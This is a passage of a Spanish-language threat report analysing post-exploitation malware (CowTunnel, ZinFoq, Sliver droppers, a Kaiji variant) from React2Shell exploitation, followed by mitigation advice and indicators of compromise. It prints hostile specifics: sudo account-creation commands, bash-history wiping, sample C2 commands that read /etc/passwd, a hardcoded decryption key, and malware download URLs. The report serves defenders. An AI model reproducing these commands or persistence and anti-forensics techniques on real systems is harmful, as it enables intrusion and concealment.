El proxy TCP ofrece capacidades genéricas de reenvío de puertos. Los actores de amenazas pueden exponer cualquier servicio TCP que se ejecute en la máquina de la víctima a través del túnel FRP, o tunelizar conexiones hacia otros sistemas de la red interna de la víctima. Las opciones de configuración incluyen “local_ip” y “local_port” para especificar el servicio objetivo, remote_port para el puerto expuesto en el servidor FRP y “use_encryption” para habilitar el tunneling cifrado con AES-128-CFB128. La salida de depuración incluye “connect to remote port success!” y “connect to remote port failed! %s” para rastrear el estado de la conexión, junto con “proxy server [%s:%d] <---> client [%s:%d]”, que muestra los extremos del túnel establecido. El manejo de errores produce mensajes como “Proxy [%s] error: remote_port” o “local_port not found” cuando hay errores de configuración.
Proxy HTTP
El proxy HTTP permite el tunneling web con funciones avanzadas de manipulación del tráfico. Las opciones compatibles incluyen subdomain para registrar un subdominio en el servidor FRP, custom_domains para el enrutamiento de dominios personalizados, locations para el enrutamiento según la ruta de la URL, host_header_rewrite para modificar los encabezados Host, http_user y http_pwd para la autenticación básica, y use_compression para comprimir el tráfico. El proxy registra las solicitudes entrantes con [nss] http request fd=%d method=%s path=%s is_ws=%d. Los errores de configuración producen mensajes como Proxy [%s] error: custom_domains and subdomain can not be set at the same time y Proxy [%s] error: custom_domains or subdomain must be set.
Proxy FTP
El proxy FTP permite tunelizar el protocolo de transferencia de archivos, con soporte para conexiones de control y de datos. FTP requiere dos canales: un canal de control (puerto 21) y canales de datos dinámicos para las transferencias de archivos en sí. El payload maneja esto con la opción de configuración “remote_data_port”. Los mensajes de depuración incluyen “find main ftp proxy service name [%s]” al localizar el servicio FTP, “error: ftp remote_data_port [%d] that request from server is invalid!” cuando falla la configuración del puerto de datos y “cannot create ftp data proxy service, it should not happenned!” cuando el canal de datos no logra inicializarse.
MSTSC
MSTSC tuneliza conexiones de Remote Desktop Protocol, con el puerto 3389 de forma predeterminada. Es una función estándar de xfrpc para reenviar tráfico RDP. En una víctima Linux, esta capacidad permite a los atacantes pivotar hacia sistemas Windows de la red interna, usando el endpoint comprometido como punto de salto para llegar a servidores o estaciones de trabajo Windows. El mensaje “message no need to send mstsc service!” aparece cuando el tunneling de RDP no está configurado.
Creación de cuentas
La función de la captura de pantalla siguiente contiene código para crear automáticamente cuentas de usuario del sistema con privilegios administrativos. Cuando la función encuentra una configuración de servicio con el plugin telnetd y los campos “plugin_user” y “plugin_pwd” correspondientes, ejecuta tres comandos de shell:
- sudo useradd -m -s /bin/bash <username> - crea un nuevo usuario con directorio home y shell bash
- echo '<username>:<password>' | sudo chpasswd - establece la contraseña de la cuenta
- sudo usermod -aG sudo <username> - agrega el usuario al grupo sudo y le otorga privilegios de root
La función incluye manejo de errores y logs para cada paso, con mensajes como “User %s already exists”, “Failed to create user %s” y “User %s added successfully”.
Sin embargo, esta capacidad parece heredada del código base de xfrpc y no algo que CowTunnel use activamente. El formato de configuración JSON de CowTunnel no incluye los campos “plugin_user” ni “plugin_pwd”, y la plantilla INI generada en tiempo de ejecución no los completa. En la muestra que analizamos, este código de creación de usuarios no se activaría.
Figura 12: Fragmento del código de creación de usuarios de CowTunnel
ZinFoq
Durante nuestra investigación de la campaña de explotación de React2Shell en el Caso #2, recuperamos un binario ELF de Linux (SHA256: 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce) que parece ser un implante de postexplotación escrito en Go. El implante incluye un framework de postexplotación con capacidades que abarcan shells interactivas, operaciones con archivos, pivoteo en la red y timestomping.
El payload, al que llamamos “ZinFoq” por el nombre de su paquete, se comunica con la infraestructura de comando y control en “api.qtss[.]cc” mediante HTTPS con payloads codificados en hexadecimal y, a través de su cadena de User-Agent, se hace pasar por un navegador Safari legítimo de macOS.
Protocolo de comunicación del C2
Capa de transporte HTTP
Todo el tráfico de C2 usa solicitudes HTTP POST estándar con una cadena de User-Agent diseñada para hacerse pasar por Safari en macOS:
- Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Este User-Agent hace referencia a una versión obsoleta de macOS (10.6.8 Snow Leopard) y de Safari (5.1).
Descifrado de la configuración
ZinFoq almacena su configuración de C2 cifrada en tiempo de compilación con AES-128-CBC. Durante la inicialización, descifra dos cadenas codificadas de forma fija: el servidor C2 (I6ACRtPz1zjcpsxLoAyGdA==, que corresponde a api.qtss[.]cc) y el puerto (DzPe8oPOSSTqDKvfftVsYw==#, que corresponde a 443). El cifrado usa una clave de 16 bytes codificada de forma fija (3d40fa2730b63324bd4448fe64312a73) que también sirve como IV, con relleno PKCS7. El carácter # actúa como delimitador y permite al implante extraer la cadena codificada en Base64 antes del descifrado.
Después de descifrar el servidor y el puerto, el implante construye tres URL de endpoints agregando sufijos de ruta a la URL base:
|
Endpoint |
URL |
Descripción |
|
Beacon |
hxxps://api.qtss[.]cc:443/en/about?source=redhat&id=v1.0 |
Registro, recepción de comandos |
|
Respuesta |
hxxps://api.qtss[.]cc:443/en/about?source=redhat&id=v1.1 |
Devolución de la salida de comandos |
|
Exfiltración |
https://api.qtss.cc:443/en/about?source=redhat&id=v1.2 |
Exfiltración de archivos |
Codificación de datos
Todas las comunicaciones de C2 usan codificación hexadecimal como ofuscación. Los datos salientes (información del beacon, archivos exfiltrados) se codifican en hexadecimal antes de transmitirse, y los comandos entrantes del C2 se decodifican desde hexadecimal al recibirse.
Estructura del payload del beacon
Al iniciarse, el implante recopila información del sistema, como el nombre de usuario actual, el nombre del equipo, las interfaces de red y el ID del proceso. Genera un token de sesión único creando un XID de 12 bytes (que contiene marca de tiempo, ID de máquina, PID y contador), aplicándole hash MD5 y formateando el resultado como una cadena hexadecimal de 32 caracteres (p. ej., 02d43e18172ed9a1be8edc44781228ba).
El payload del beacon es una struct serializada en JSON que contiene información del sistema y el estado del implante
|
Campo |
Descripción |
|
ips |
Direcciones IPv4 que no son de loopback, delimitadas por barras verticales |
|
token |
Identificador de sesión único (32 caracteres hexadecimales). Se genera a partir de la marca de tiempo, el ID de máquina, el PID y un contador, y luego se le aplica hash MD5. |
|
user |
Nombre de usuario del usuario actual |
|
os |
Formato: "<version> | <hostname> | <os> | <arch> | pid: <PID>" |
|
socket5 |
Estado del proxy SOCKS5 ("-" = inactivo) |
|
socket5Quick |
Estado del proxy SOCKS5 rápido ("-" = inactivo) |
|
inListenPort |
Estado del listener de reenvío de puertos ("-" = inactivo) |
Ejemplo de payload del beacon (antes de la codificación hexadecimal):
Figura 13: Función de generación del ID de token
Cuando el implante envía un beacon y no hay ninguna tarea en cola, el C2 responde con un código de estado:
|
Respuesta |
Descripción |
|
NONE / vacío |
Sin tarea, sigue consultando |
|
ERROR |
Error del servidor, reintentar |
|
offline |
Terminar el implante |
|
sleep<N> |
Cambiar el intervalo de beacon a N segundos |
Manejador de comandos
Según el análisis estático, los comandos del C2 se analizan usando ------d9djd912as123m4cK12M– como delimitador. Este delimitador separa el nombre del comando de los argumentos.
Formato del comando:
- <command>------d9djd912as123m4cK12M--<arguments>
Ejemplo:
- shell------d9djd912as123m4cK12M--whoami
- explorerfile------d9djd912as123m4cK12M--/etc/passwd
Para los comandos que requieren varios argumentos, se usa “##” como delimitador secundario, por ejemplo:
- change_file_time------d9djd912as123m4cK12M--/tmp/payload##2016-01-15 15:08:25
- explorer_upload------d9djd912as123m4cK12M--/stage2.sh##/tmp/s.sh
Figura 14: Analizador de comandos del C2
Lista de comandos:
|
Comando |
Descripción |
|
shell |
Ejecuta un único comando con /bin/bash -c <command> y devuelve al C2 la salida combinada de stdout/stderr. |
|
explorer |
Enumera el contenido de un directorio y devuelve un JSON con los metadatos de los archivos, incluidos nombre, tamaño, permisos, hora de modificación y si es un directorio, por ejemplo: {"Name": "passwd", "Mode": "-rw-r--r--", "IsDir": "false", "Size": "2845", "ModTime": "2024-01-15 08:30:00"}, {"Name": "shadow", "Mode": "-rw-r-----", "IsDir": "false", "Size": "1524", "ModTime": "2024-01-15 08:30:00"} ]}” |
|
explorerfile |
Lee todo el contenido de un archivo especificado y lo devuelve al C2. |
|
explorer_delete |
Elimina del disco el archivo especificado |
|
explorer_upload |
Descarga un archivo desde una URL (entrega de la etapa 2) |
|
explorer_download |
Exfiltra un archivo al C2. El archivo se lee, se codifica en hexadecimal y se envía con metadatos (tamaño, nombre de archivo) delimitados por ;;. Por ejemplo: {size};;{filename};;{additional_data};;{encoded_content} |
|
system_info |
Recopila y devuelve información del sistema (IP, nombre del equipo, usuario, sistema operativo, arquitectura, PID). |
|
change_file_time |
Modifica las marcas de tiempo de los archivos como técnica antiforense. Si no se proporciona una marca de tiempo, usa de forma predeterminada 2016-01-15 15:08:25. |
|
interactive_shell |
Establece una conexión de reverse shell con PTY. Se conecta de vuelta al atacante, lanza /bin/bash con una pseudoterminal y borra de inmediato el historial de bash. |
|
socket_quick_start |
Inicia un servidor proxy SOCKS5 para pivotar en la red |
|
socket_quick_stop |
Detiene el servidor proxy SOCKS5 |
|
start_in_port_forward |
Habilita el reenvío de puertos TCP |
|
stop_in_port_forward |
Deshabilita el reenvío de puertos TCP |
Implementación de la shell interactiva
Cuando recibe el comando interactive_shell, el implante establece una conexión de reverse shell con PTY.
El implante establece una conexión TCP directa con la IP y el puerto especificados por el atacante. Antes de continuar, realiza una verificación de handshake y envía una cadena de autenticación con este formato:
- {token}_FlAg_UuId;;;;;;{target};;;;;;{token}_FlAg_UuId
Donde:
- {token} es el identificador de sesión único del implante (hash MD5 de 32 caracteres del payload del beacon)
- {target} es la IP:puerto de callback especificada en el comando
Ejemplo:
- 02d43e18172ed9a1be8edc44781228ba_FlAg_UuId;;;;;;192.168.1.100:4444;;;;;;02d43e18172ed9a1be8edc44781228ba_FlAg_UuId
El implante espera una respuesta de un solo byte. Si el servidor responde con y (0x79), la shell continúa. Cualquier otra respuesta aborta la conexión.
Proxy SOCKS5
El módulo “socket5Quick” implementa un servidor proxy SOCKS5 completo. Cuando se activa, los actores de amenazas pueden enrutar conexiones TCP arbitrarias a través del endpoint comprometido.
La implementación de SOCKS5 maneja el handshake completo del protocolo y admite los tres tipos de dirección: direcciones IPv4, nombres de dominio completos y direcciones IPv6.
Esta capacidad convierte cada endpoint comprometido en un punto de pivote en la red. Los actores de amenazas pueden enrutar sus herramientas a través del proxy para acceder a sistemas internos que de otro modo serían inaccesibles desde internet.
Timestomping y técnicas antiforenses
Manipulación de marcas de tiempo de archivos
La función “src_mode_utils_ChangeSelfTime” implementa capacidades de timestomping. Puede cambiar las horas de acceso y modificación de los archivos a una fecha específica:
- Marca de tiempo predeterminada: 2016-01-15 15:08:25
Esto permite a los actores de amenazas hacer que archivos colocados recientemente parezcan antiguos y evadir la detección basada en el análisis de la línea de tiempo del sistema de archivos.
Figura 15: Función change_file_time
Borrado del historial de bash
El implante borra el historial de bash mediante dos métodos:
- Prevención del historial en la shell interactiva: al lanzar una reverse shell, ZinFoq ejecuta de inmediato el siguiente comando:
- export HISTIGNORE=* ;history -c;history -r:
- “HISTIGNORE=*” impide que se registre cualquier comando
- “history -c” borra el búfer del historial de la sesión actual
- “history -r” vuelve a cargar el historial desde el archivo (ahora vacío para la sesión)
- Borrado directo del archivo de historial: la función CleanHistory apunta directamente a ~/.bash_history, lee el archivo de historial de bash actual y lo vuelve a escribir vacío
Enmascaramiento del nombre del proceso
ZinFoq enmascara el nombre de su proceso para ocultar su presencia. En tiempo de ejecución, el implante se disfraza como uno de 44 servicios legítimos del sistema Linux.
El enmascaramiento funciona mediante dos mecanismos:
- Reejecución con un argv[0] falso: el implante importa y usa directamente “reexec” para enmascarar el proceso. El paquete reexec de Docker se diseñó para facilitar la reejecución "estilo busybox" de binarios de Go y sortear las limitaciones de fork de Go. ZinFoq lo usa para reejecutar el implante mediante “/proc/self/exe”, un symlink especial de Linux que siempre apunta al ejecutable del proceso actual, con un argv[0] falsificado.
Figura 16: Configuración de la reejecución mediante “/proc/self/exe” con un nombre de proceso falsificado
- Sobrescritura de argv[0] en tiempo de ejecución: la función que se muestra en la captura de pantalla siguiente sobrescribe directamente el argv[0] del proceso en memoria. En Linux, cuando se ejecuta un proceso, el kernel copia los argumentos de la línea de comandos en una región de memoria contigua. El archivo “/proc/[pid]/cmdline” lee directamente de esa memoria, por lo que modificarla cambia lo que muestran herramientas como “ps” y "top”.
Figura 17: Función que sobrescribe argv[0] en memoria
ZinFoq elige el nombre al azar entre 44 nombres de proceso predefinidos y luego verifica que el nombre falso quepa dentro de la longitud del búfer de argv[0] original, ya que el implante solo puede sobrescribir tantos bytes como ocupaba la ruta original. Si el nombre elegido al azar es demasiado largo, lo reintenta hasta 60 veces antes de recurrir a una búsqueda secuencial entre todos los nombres disponibles. Como último recurso, el implante usa "ps -ef" (6 bytes), que cabe en casi cualquier búfer.
El implante puede disfrazarse como cualquiera de estos servicios legítimos de Linux:
Cabe señalar que los nombres de procesos de Linux están ofuscados dentro del binario. Lo que hace notable esta ofuscación es la variedad de métodos de cifrado. En lugar de usar un único algoritmo, los desarrolladores del malware implementaron seis técnicas de descifrado distintas en 44 funciones: XOR con claves de desplazamiento, donde a cada byte se le aplica XOR contra un arreglo de claves en un desplazamiento fijo; intercambio de índices, que reorganiza las posiciones del búfer mientras aplica transformaciones aritméticas; máquinas de estados, que construyen cadenas mediante transiciones de estado predeterminadas con una pasada de transformación final; cifrados rotativos basados en closures, que usan closures de Go que mantienen el estado entre llamadas con operaciones ADD/SUB/XOR; tablas de búsqueda, que combinan pares de bytes de una tabla de 80 bytes mediante operaciones aritméticas; y manipulación simple de bytes para una codificación sencilla.
|
Rango de funciones |
Técnica |
|
func1, func4-6, func11-12, func17, func19, func21, func24-25, func28-31, func33-35, func37-39, func41, func43-44 |
Texto plano / XOR simple |
|
func2, func7, func16, func22-23, func26-27, func32, func40, func42 |
Algoritmo de intercambio de índices |
|
func3, func8, func14-15, func20 |
Cifrado por máquina de estados |
|
func10, func13, func18, func36 |
Descifrado basado en closures |
|
func9 |
Transformación por tabla de búsqueda |
Figura 18: Fragmento de la rutina de descifrado por máquina de estados
Análisis del dropper "d5.sh"
El script dropper (SHA256: 3854862bb3ee623f95d91fa15b504e2bbc30e23f1a15ad7b18aedb127998c79c) observado en el Caso #3 sirve como componente de instalación inicial: despliega el payload de Sliver (SHA256: 2cd41569e8698403340412936b653200005c59f2ff3d39d203f433adb2687e7f) con C2 en keep.camdvr[.]org y establece persistencia en los sistemas Linux comprometidos. Al ejecutarse, el script descarga un payload desde una URL codificada de forma fija (hxxp://keep.camdvr[.]org:8000/BREAKABLE_PARABLE5) a una ubicación temporal con “curl” o “wget”, según lo que haya disponible en el sistema. El archivo descargado se guarda en “/tmp” con un nombre que incluye una marca de tiempo.
El script implementa una rutina de instalación que tiene en cuenta los privilegios y adapta su mecanismo de persistencia según el contexto del usuario. Cuando se ejecuta como root, copia el payload a “/usr/bin/sshd-agent”, le aplica el atributo inmutable con “chattr +i” para impedir que se elimine y crea una unidad de servicio de systemd (sshd-agent.service) configurada para reiniciar automáticamente el backdoor ante un fallo o un reinicio del sistema. El servicio se hace pasar por un componente legítimo del agente SSH, con la descripción "SSH Agent Service (System Management)" para camuflarse entre los servicios auténticos del sistema.
En contextos sin root, el script primero intenta una escalada de privilegios sin contraseña con “su - root”, una técnica que explota sistemas mal configurados donde la autenticación de root no se aplica correctamente. Si la escalada falla, el dropper recurre a mecanismos de persistencia a nivel de usuario. En cuentas de usuario normales, crea un directorio oculto en “~/.config/.system-monitor/”, instala el payload como “.sys-mon” y establece una persistencia doble mediante entradas de crontab (@reboot) e inyección en .bashrc. En las cuentas de servicio sin un directorio home adecuado, usa una ruta de instalación modificada en “/tmp/.system-update/” con persistencia solo mediante crontab.
Por último, el script elimina el archivo temporal descargado, borra el propio script dropper, limpia el historial de comandos de bash y trunca el archivo “.bash_history” para eliminar la evidencia de la cadena de infección.
Figura 19: Fragmento del script “d5.sh”
Un vistazo más de cerca a "fn22.sh" (variante de d5.sh)
Esta es otra variante (SHA256: 65d840b059e01f273d0a169562b3b368051cfb003e301cc2e4f6a7d1907c224a) del dropper "d5.sh" que observamos en el Caso #3, con la misma funcionalidad principal pero con capacidades adicionales para actualizar infecciones existentes. Esta versión obtiene su payload desde otro servidor C2 (hxxp://help.093214[.]xyz:9731/FF22).
La principal diferencia de esta variante es la lógica de autoactualización. Antes de la instalación, el script busca infecciones existentes verificando si está presente el binario malicioso o un servicio de systemd activo. Si detecta una instalación previa, el script detiene de forma ordenada el servicio en ejecución, quita el atributo inmutable del binario existente con "chattr -i", termina cualquier proceso del binario en ejecución con "pkill -f" y luego sobrescribe el payload con la versión recién descargada. Después de la actualización, vuelve a aplicar la protección inmutable y reinicia el servicio. Este mismo flujo de actualización se aplica en todos los niveles de privilegios, incluidas las instalaciones en cuentas de usuario con pocos privilegios y en cuentas de servicio.
Variante del malware Kaiji
Recuperamos otro script del Caso #3, 103.135.101[.]15/wocaosinm.sh, que detecta el sistema operativo y la arquitectura con uname -s y uname -m y descarga un payload específico para la arquitectura desde la misma IP.
Comando y control
El payload, escrito en Go, combina la funcionalidad de una botnet de DDoS con capacidades de administración remota, mecanismos de persistencia y técnicas de evasión. Con base en la estructura del código, los mecanismos de persistencia y la superposición funcional, evaluamos que este malware es una variante de la botnet Kaiji. Aqua Nautilus publicó un excelente análisis de una muestra de Kaiji casi idéntica en octubre de 2025, en el que documenta sus técnicas de persistencia y evasión. Nuestra muestra presenta los mismos patrones de comportamiento con pequeñas variaciones en los nombres, lo que sugiere una compilación o campaña diferente. En lugar de repetir sus hallazgos, aquí nos enfocamos en los detalles adicionales que descubrimos en nuestro análisis.
El payload implementa un esquema de codificación personalizado para el tráfico de C2 con una clave XOR rotativa. La clave de 8 bytes “b209bb25916d4447” está codificada de forma fija en el binario. Para codificar los mensajes salientes, el payload primero codifica el texto plano en base64, luego aplica XOR a cada carácter con la clave (rotando entre los 8 bytes) y finalmente convierte cada byte resultante a hexadecimal. Los comandos entrantes se decodifican invirtiendo este proceso. Los comandos se analizan con el delimitador *-*- para separar los campos. El payload también admite cifrado AES en varios modos (CFB, CBC, ECB) y descifrado DES como protección adicional del payload.
Capacidades de DDoS
El despachador de ataques enruta los comandos a métodos que incluyen floods UDP, floods de conexiones TCP, ataques TCP keep-alive, ataques con raw sockets de capa 3 y spoofing de IP. Varias funciones contienen identificadores en chino como 强制Udp (UDP forzado), 强制Udp封包 (paquete UDP forzado) y 强制Udp指纹 (huella UDP forzada).
Figura 20: Fragmento del código del despachador de ataques
Hallazgos adicionales
Enmascaramiento del nombre del proceso
Al ejecutarse, el payload sobrescribe su nombre de proceso (argv[0]) para disfrazarse como un hilo legítimo del kernel. De forma similar al uso de “[ksoftirqd]” por parte de PeerBlight, este payload también imita hilos del kernel, pero elige dinámicamente entre varios nombres según la longitud del nombre del proceso original para ajustarse a los límites de memoria:
|
Longitud del nombre original |
Se hace pasar por |
|
≥13 caracteres |
[ksoftirqd/0] |
|
8-12 caracteres |
[rcu_gp] |
|
6-7 caracteres |
[ksmd] |
|
4-5 caracteres |
init |
|
< 4 caracteres |
bin |
Abuso del watchdog de hardware
El payload abre “/dev/misc/watchdog” y escribe un único byte nulo cada segundo en un bucle infinito. En Linux, una vez que un proceso abre el dispositivo watchdog, se vuelve responsable de “alimentarlo” periódicamente; si las escrituras se detienen, el hardware asume que el sistema se colgó y activa un reinicio automático. Al abrir el dispositivo watchdog, el payload toma el control de él. Si un administrador termina el proceso malicioso sin deshabilitar primero el watchdog, el dispositivo deja de recibir escrituras, se agota el tiempo de espera y fuerza un reinicio de hardware, tras el cual los mecanismos de persistencia del payload lo vuelven a iniciar. Esta técnica es bastante común entre las botnets de IoT.
Guía de mitigación
CVE-2025-55182 existe en varias versiones (19.0, 19.1.0, 19.1.1 y 19.2.0) de los siguientes paquetes:
- react-server-dom-webpack
- react-server-dom-parcel
- react-server-dom-turbopack
Las empresas que dependen de cualquiera de estos paquetes afectados deben actualizar de inmediato, dada la posible facilidad de explotación y la severidad de la vulnerabilidad. Hay una corrección disponible en las versiones 19.0.1, 19.1.2 y 19.2.1. El blog oficial de React incluye más detalles.
Para abordar CVE-2025-66478 en Next.js, puedes usar el paquete fix-react2shell que Vercel publicó recientemente.
npx fix-react2shell-next
Esto inicia una utilidad interactiva que comprueba si tu versión de Next.js es vulnerable y, si es necesario, la actualiza a las versiones con parches indicadas en su blog oficial.
¿Qué está haciendo Huntress?
Huntress cuenta con reglas de detección para identificar actividades de explotación relacionadas con CVE-2025-55182. Nuestros analistas del SOC monitorean activamente las amenazas relacionadas en toda nuestra base de clientes. Las organizaciones con instancias vulnerables de Next.js en las que observamos actividad de postexplotación ya fueron notificadas y recibieron orientación para la remediación.
Reglas Sigma / Yara
Regla Yara de ZinFoq
Regla Yara de CowTunnel
Regla Yara de PeerBlight
Regla Sigma: comando sospechoso desde Node.Js
Regla Sigma: proceso de shell sospechoso desde Next.Js
Indicadores de compromiso (IOCs)
|
Elemento |
Descripción |
|
a605a70d031577c83c093803d11ec7c1e29d2ad530f8e95d9a729c3818c7050d |
Backdoor de Linux PeerBlight |
|
776850a1e6d6915e9bf35aa83554616129acd94e3a3f6673bd6ddaec530f4273 |
CowTunnel (payload NTPClient) |
|
0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
Implante de postexplotación ZinFoq |
|
3854862bb3ee623f95d91fa15b504e2bbc30e23f1a15ad7b18aedb127998c79c |
Script dropper d5.sh |
|
2cd41569e8698403340412936b653200005c59f2ff3d39d203f433adb2687e7f |
Payload de Sliver (desplegado por d5.sh) |
|
65d840b059e01f273d0a169562b3b368051cfb003e301cc2e4f6a7d1907c224a |
Script dropper fn22.sh (variante de d5.sh) |
|
hxxp://216.158.232[.]43:12000/sex.sh |
URL del script de criptominería |
|
hxxp://45.32.158[.]54/5e51aff54626ef7f/x86_64 |
URL del payload de PeerBlight |
|
hxxp://45.76.155[.]14/vim |
URL del payload de ZinFoq |
|
hxxp://103.135.101[.]15/wocaosinm.sh |
URL del dropper de Kaiji |
|
hxxp://31.56.27[.]97/scripts/4thepool_miner.sh |
URL del script de criptominería |
|
hxxp://39.97.229[.]220:8006/httd |
URL del payload |
|
hxxp://38.165.44[.]205/1 |
URL del payload de CowTunnel |
|
hxxp://38.165.44[.]205/k |
URL del script de shell |
|
185.247.224[.]41 |
Servidor C2 principal de PeerBlight (puerto 8443) |
|
49.51.230[.]175 |
Servidor C2 secundario de PeerBlight vía DHT (puerto 9898) |
|
hxxp://keep.camdvr[.]org:8000/d5.sh |
URL del script dropper |
|
hxxp://keep.camdvr[.]org:8000/BREAKABLE_PARABLE5 |
URL del payload de Sliver |
|
hxxp://help.093214[.]xyz:9731/fn32.sh |
URL del script dropper |
|
hxxp://vps-zap812595-1.zap-srv[.]com:3000/sex.sh |
URL del script de criptominería |
|
hxxp://help.093214[.]xyz:9731/FF22 |
URL del script dropper |
|
hxxps://api.qtss[.]cc:443/en/about?source=redhat&id=v1.0 |
Endpoint de beacon de ZinFoq |
|
hxxps://api.qtss[.]cc:443/en/about?source=redhat&id=v1.1 |
Endpoint de respuesta de ZinFoq |
|
hxxps://api.qtss[.]cc:443/en/about?source=redhat&id=v1.2 |
Endpoint de exfiltración de ZinFoq |
|
pool.hashvault[.]pro |
Pool de minería de XMRig |
|
23.226.71[.]197 |
C2 de CowTunnel |
|
23.226.71[.]200 |
C2 de CowTunnel |
|
23.226.71[.]209 |
C2 de CowTunnel |
|
/lib/systemd/system/systemd-agent.service |
Persistencia de PeerBlight vía systemd |
|
/bin/systemd-daemon |
Ubicación del binario de PeerBlight (root) |
|
/etc/init/systemd-agent.conf |
Persistencia de PeerBlight vía Upstart |
|
/usr/bin/sshd-agent |
Ubicación del payload de Sliver (root) |
|
~/.config/.system-monitor/.sys-mon |
Ubicación del payload de Sliver (usuario) |
|
/tmp/.system-update/ |
Ubicación del payload de Sliver (cuentas de servicio) |
|
/home/<user>/.systemd-utils/conf |
Ubicación del archivo de configuración de CowTunnel |
|
Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/60.0.3112.113+Safari/537.36+Assetnote/1.0.0 |
User-Agent de react2shell-scanner |
|
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50 |
User-Agent de ZinFoq |
|
LOLlolLOL (hex: 4c4f4c6c6f6c4c4f4c) |
Prefijo del ID de nodo DHT de PeerBlight |